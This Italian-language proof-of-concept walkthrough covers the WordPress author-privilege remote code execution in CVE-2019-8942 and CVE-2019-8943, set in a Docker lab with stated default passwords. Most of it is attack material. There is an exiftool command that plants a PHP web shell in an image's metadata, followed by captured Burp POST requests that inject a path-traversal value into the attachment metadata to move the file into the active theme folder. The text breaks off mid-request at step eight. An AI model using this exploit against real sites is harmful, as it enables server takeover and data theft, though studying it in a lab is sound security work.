Sommario

Un semplice PoC per l'RCE di WordPress (privilegi di autore), fare riferimento a CVE-2019-8942 e CVE-2019-8943.

Versioni interessate

• WordPress <= 4.9.8 (verificato)
• WordPress <= 5.0.0

Ambiente di test

Immagine Docker

• docker pull avfisherdocker/wordpress:4.9.8
• docker run -d -p 80:80 avfisherdocker/wordpress:4.9.8

Informazioni su MySQL e WordPress

Tipo	Nome utente	Password
mysql	root	root
wordpress	admin	admin4wp498
wordpress	author	author4wp498

Prove di concetto

1. Avviare Burp per intercettare il traffico

2. Creare un file immagine malevolo in poc.jpg con exiftool

• exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"

3. Rilevare il tema corrente con WPScan

• wpscan -u <URL> -et, ad es. twentyseventeen come predefinito in wordpress 4.9.8

4. Caricare il file immagine payload poc.jpg

• Accedere all'account author;
• Fare clic su Media - Add New nella Dashboard per caricare il file poc.jpg;
• Selezionare l'immagine caricata e fare clic su Edit more details - Update;
• In Burp, noterete una richiesta POST /wp-admin/post.php simile a quella qui sotto; inviatela quindi a Repeater:

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc

5. Ritagliare l'immagine

• Andare su Media e selezionare l'immagine caricata nel passaggio 4;
• Fare clic su Edit Image per ritagliare l'immagine e poi su Save;
• In Burp, noterete una richiesta POST /wp-admin/admin-ajax.php simile a quella qui sotto; inviatela quindi a Repeater:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/upload.php?item=6&mode=edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126785
Connection: close

action=image-editor&_ajax_nonce=0fc4799ff5&postid=6&history=%5B%7B%22c%22%3A%7B%22x%22%3A10%2C%22y%22%3A13%2C%22w%22%3A32%2C%22h%22%3A26%7D%7D%5D&target=full&context=&do=save

6. Aggiornare il file allegato a poc.jpg#/poc.jpg

• Aggiungere &meta_input[_wp_attached_file]=<CURRENT YEAT>/<CURRENT MONTH>/poc.jpg#/poc.jpg (ad es. &meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg per febbraio 2019) nella richiesta POST /wp-admin/post.php acquisita al passaggio 4 in Burp Repeater, come di seguito, e quindi fare clic su Go.

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc&meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg

7. Ritagliare l'immagine

• Ripetere la richiesta POST /wp-admin/admin-ajax.php acquisita al passaggio 5 in Burp Repeater.

8. Aggiornare il file allegato a poc.jpg#/../../../../themes/<CURRENT THEME>/poc.jpg

• Aggiornare come indicato: &meta_input[_wp_attached_file]=<CURRENT YEAR>/<CURRENT MONTH>/poc.jpg#/../../../../themes/<CURRENT THEME>/poc.jpg (ad es. &meta_input[_wp_attached_file]=2019/02/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg per febbraio 2019) nella richiesta POST /wp-admin/post.php acquisita al passaggio 4 in Burp Repeater, come di seguito, e fare clic su Go.

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1